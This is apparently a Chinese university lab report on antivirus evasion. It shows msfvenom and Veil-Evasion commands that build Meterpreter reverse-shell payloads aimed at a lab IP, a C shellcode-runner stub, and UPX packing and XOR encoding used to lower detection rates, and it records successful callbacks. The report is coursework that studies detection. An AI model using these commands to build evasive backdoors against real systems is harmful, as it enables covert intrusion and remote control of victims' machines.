20155216 Exp3 免杀原理与实践
Exp3 免杀原理与实践
基于特征码的改变来实现免杀(实践过程记录)
MSF编码器编译后门检测
可以通过VirSCAN来检验后门抗杀能力。
ps:选择后门前修改其文件名,不得含有数字。

如上图所示,39款杀毒软件中有20款报毒,可见实验二的后门不具有隐秘性,且国内的杀毒软件对此后门报毒率100%,可见国内的杀毒软件质量可靠。
接下来将对免杀后门做一定研究。
Veil-Evasion免杀平台
Veil-Evasion的安装
如果直接使用 sudo apt-get install veil-evasion 可能会在安装过程中丢失一些压缩包。
可使用以下命令完整安装Veil-Evasion。
echo "deb http://http.kali.org/kali kali-rolling main contrib non-free" >> /etc/apt/sources.list
sudo apt-get update
sudo apt-get install veil-evasion
在终端下输入指令 veil 即可打开软件。

此时将会显示 Adding x86 architecture to x86_64 system for Wine ,需要安装Wine和wWine32。
使用以下命令依次安装软件:
apt-get install wine
apt-get install nfs-common
apt-get install wine32
再次进入veil界面,将会自动安装、展开、更新或升级软件包,过程很漫长……

之后需要安装很多软件,选择默认安装选项即可。
Veil-Evasion的使用
在终端输入 veil 进入Veil-Evasion。

接着输入use evasion

之后依次输入以下命令:
use python/meterpreter/rev_tcp.py //设置payload
set LHOST 192.168.253.128 //设置反弹连接IP(kali的IP地址)
set port 443 //设置反弹端口443,默认为4444
generate //生成
5216 //程序名

输入文件名后选择1

1选项之后跟了一个default,选择后发现只能生成python文件、.py文件,但无法生成exe可执行文件,原因应该是系统未安装合适的python运行环境,于是,我们换成C语言的代码。
之后改变了设置payload的命令,改为 use c/meterpreter/rev_tcp.py 。

而后继续输入后面的内容,生成相应的文件:

在相应的文件夹下找到exe文件,将其拷贝至windows,进行免杀测试:

测试结果比之前的好很多。
接下来进行回连尝试:

回连成功。
利用shellcode编程实现免杀
使用命令 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.253.128 LPORT=443 -f c生成C语言的shellcode。

或者使用 msfvenom -p windows/meterpreter/reverse_https -e x86/bloxor LHOST=192.168.253.128 -f c 。

将其手动复制到code::blocks中运行,生成exe可执行文件。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
unsigned char buf[] =
"此处省去若干行"
int main()
{
int (*func)()=(int(*)())buf;
func();
}

生成后360会给出警告:

进行免杀测试:

进行回连尝试:

回连成功。
但使用第二种方法效果更好一些:

免杀进阶
压缩加壳
首先用UPX对生成的exe文件尝试压缩加壳

压缩后文件大小由28KB压缩成21KB,但是在免杀方面并没有什么显著效果,只比原来减少一个杀毒软件报毒。

修改shellcode
对shellcode进行异或,每一位数异或0x47,之后在数组调用前异或回来。

只有3个杀毒软件报毒,比起之前的检测结果有了好转。
对shellcode进行异或后再进行加压
结果比只进行异或多了一个杀毒软件报毒。
回连尝试
通过上述三种修改后的shellcode编译出的可执行均可回连成功。

基础问题回答
- 1、杀软是如何检测出恶意代码的?
恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有程序包含的特征码与其特征码库的代码相匹配,就会把该程序当作恶意软件。
- 2、免杀是做什么?
对恶意软件做处理,让它不被杀毒软件所检测。
- 3、免杀的基本方法有哪些?
(1)加壳。
(2)对shellcode编码进行处理。
实践总结与体会
可能是现在杀毒软件对加壳的文件太过于敏感,加壳之后会被更多的杀毒软件检测出来。
国产杀毒软件江民杀毒很奇怪,简单的后门其他杀毒软件报错,而它不报错;等到之后对修改后的shellcode生成的exe进行检测时,其他杀毒软件能通过,它就开始拦截了,并且清楚地提示为后门程序。
还有的杀毒软件在修改或加压前提示是后门,修改后就提示为特洛伊木马。
感觉3个杀毒软件报毒已经比较极限了,也有可能是C语言编译器的问题。我尝试用helloworld代码的可执行文件进行检测,结果也有3个报毒。
离实战还缺些什么技术或步骤?
1、如果要植入后门并回连,首先要能够ping通对方的主机。有时候在同一无线网下都ping不通,更别提路由中转。
2、如何让后门在对方的主机上启动也是个至关重要的问题。
20155216 Exp3 免杀原理与实践的更多相关文章
- 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...
- 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...
- 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...
- 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
- 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践
2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...
- 2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...
- 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...
- 2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践 一.实验说明 1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),vei ...
随机推荐
- 【Kibana】Kibana入门教程
一.Kibana简介及下载安装 Kibana是专门用来为ElasticSearch设计开发的,可以提供数据查询,数据可视化等功能. 下载地址为:https://www.elastic.co/downl ...
- 【Java入门提高篇】Day19 Java容器类详解(二)Map接口
上一篇里介绍了容器家族里的大族长——Collection接口,今天来看看容器家族里的二族长——Map接口. Map也是容器家族的一个大分支,但里面的元素都是以键值对(key-value)的形式存放的, ...
- Loadrunner打开VU时候报错Critical error(cannot use Exceptiondialog)
打开Loadrunner打开VU时候报错Critical error(cannot use Exceptiondialog) 卸载后,删掉注册表,重新安装,打开还是这样 怎么办呢 我男票告诉我,从开始 ...
- ORACLE-SQL微妙之处
本文总结一下平时经常使用的SQL语句以及一些ORACLE函数的微妙之处.欢迎大家多多补充平时最常用的SQL语句,供大家学习参考. SQL> select * from temp2; NAME S ...
- .net core项目初建
电脑装Visual Studio2017,并升级版本.启动一个.net core 的项目. NET Core基本介绍 1.1 什么是ASP.NET Core ASP.NET Core 是一个全新的开源 ...
- ABP(ASP.NET Boilerplate Project)框架探讨
从官网上下载下来带Module-Zero的abp框架. vs2015打开解决方案. 首先让系统run起来.把webconfig数据库连接改一下.启动程序. 发现报错:“本地语言指定”的错误,之后运行n ...
- Oracle EBS INV 创建物料搬运单行
CREATE OR REPLACE PROCEDURE CreateMoveOrderLines AS -- Common Declarations l_api_version NUMBER := 1 ...
- Oracle EBS INV 删除保留
DECLARE p_rsv apps.inv_reservation_global.mtl_reservation_rec_type; p_dummy_sn apps.inv_reservation_ ...
- postgresql排序分页时数据重复问题
当同时排序又分页时,如果排序的字段X不是唯一字段,当多个记录的X字段有同一个值时顺序是随机的. 这个有可能造成分页时数据重复的问题.某一页又把上一页的数据查出来了,其实数据库只有一条记录. 解决办法: ...
- 像azure一样桌面显示Windows系统信息
介绍 我们在使用azure的公有云时,可以看到打开虚拟机时右上角可以显示系统配置信息和公网私有地址,很好奇如何做到的,终于经过询问一位微软的朋友,他帮我找到了这个工具 工具地址:https://tec ...